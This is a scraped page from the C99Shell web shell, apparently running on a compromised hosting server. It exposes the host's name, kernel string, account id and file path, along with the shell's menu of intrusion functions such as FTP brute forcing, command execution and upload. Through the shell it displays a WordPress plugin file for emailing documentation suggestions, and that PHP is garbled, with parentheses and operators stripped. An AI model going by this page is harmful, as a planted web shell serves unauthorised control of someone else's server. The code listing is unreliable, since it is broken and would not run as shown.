!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/documentor/includes/   drwxr-xr-x
Free 293.03 GB of 429.69 GB (68.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-suggestion.php (4.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Suggestion save and send email.
 *
 * @package documentor
 */

if ( ! defined'ABSPATH' ) ) {
    exit;
}

/**
 * Suggestion
 *
 * @class       Documentor_Suggestion
 * @package     documentor
 */
class Documentor_Suggestion {
    
/**
     * Send suggestion.
     *
     * @param array $data - suggestion data.
     *
     * @return boolean
     */
    
public static function send$data ) {
        
self::mail_before_send();

        
$success self::process_mail$data );

        
self::mail_after_send();

        return 
$success;
    }

    
/**
     * Process email using wp_mail function.
     *
     * @param array $data - Form block attributes.
     *
     * @return boolean
     */
    
public static function process_mail$data ) {
        if ( isset( 
$data['from'] ) && ! empty( $data['from'] ) ) {
            
$from $data['from'];
        } elseif ( 
is_user_logged_in() ) {
            
$from '';

            
$user wp_get_current_user();

            if ( 
$user->display_name ) {
                
$from $user->display_name;
            }

            if ( 
$user->user_email ) {
                
$from .= ( $from ' <' '' ) . $user->user_email . ( $from '>' '' );
            }
        } else {
            
$from esc_html__'Anonymous''documentor' );
        }

        
$data['from']       = $from;
        
$data['ip_address'] = self::get_ip_address();
        
$data['blogname']   = wp_specialchars_decodeget_option'blogname' ), ENT_QUOTES );

        
// phpcs:ignore
        
$wp_email 'wordpress@' preg_replace'#^www\.#'''strtolower$_SERVER['SERVER_NAME'] ) );

        
$email_to documentor()->get_option'show_feedback_suggestion_email''documentor_single''' ) ? documentor()->get_option'show_feedback_suggestion_email''documentor_single''' ) : get_option'admin_email' );

        
// translators: %s - blog name.
        
$subject sprintfesc_html__'[%s] New Doc Suggestion''documentor' ), $data['blogname'] );

        
// Prepare headers.
        
$headers  'Content-Type: text/html; charset="' get_option'blog_charset' ) . "\"\n";
        
$headers .= 'From: "' esc_html$data['from'] ) . "\" <$wp_email>\n";
        
$headers .= "Reply-To: \"$wp_email\" <$wp_email>\n";

        
// Prepare message.
        
$message self::get_mail_html$data );

        return 
wp_mail$email_towp_specialchars_decode$subject ), $message$headers );
    }

    
/**
     * Get mail HTML template.
     *
     * @param array $attributes - From block attributes.
     *
     * @return string
     */
    
public static function get_mail_html$attributes ) {
        
ob_start();

        
documentor()->get_template_part(
            
'feedback-mail',
            array(
                
'data' => $attributes,
            )
        );

        return 
ob_get_clean();
    }

    
/**
     * Get a clients IP address
     *
     * @return string
     */
    
public static function get_ip_address() {
        
$ipaddress '';

        
// phpcs:disable
        
if ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) {
            
$ipaddress $_SERVER['HTTP_CLIENT_IP'];
        } elseif ( isset( 
$_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
            
$ipaddress $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif ( isset( 
$_SERVER['HTTP_X_FORWARDED'] ) ) {
            
$ipaddress $_SERVER['HTTP_X_FORWARDED'];
        } elseif ( isset( 
$_SERVER['HTTP_FORWARDED_FOR'] ) ) {
            
$ipaddress $_SERVER['HTTP_FORWARDED_FOR'];
        } elseif ( isset( 
$_SERVER['HTTP_FORWARDED'] ) ) {
            
$ipaddress $_SERVER['HTTP_FORWARDED'];
        } elseif ( isset( 
$_SERVER['REMOTE_ADDR'] ) ) {
            
$ipaddress $_SERVER['REMOTE_ADDR'];
        } else {
            
$ipaddress 'UNKNOWN';
        }
        
// phpcs:enable

        
return $ipaddress;
    }

    
/**
     * Mail before send.
     */
    
public static function mail_before_send() {
        
add_filter'wp_mail_content_type', array( __CLASS__'get_content_type' ) );
    }

    
/**
     * Mail after send.
     */
    
public static function mail_after_send() {
        
remove_filter'wp_mail_content_type', array( __CLASS__'get_content_type' ) );
    }

    
/**
     * Change wp_mail content type to HTML.
     *
     * @return string
     */
    
public static function get_content_type() {
        return 
'text/html';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0067 ]--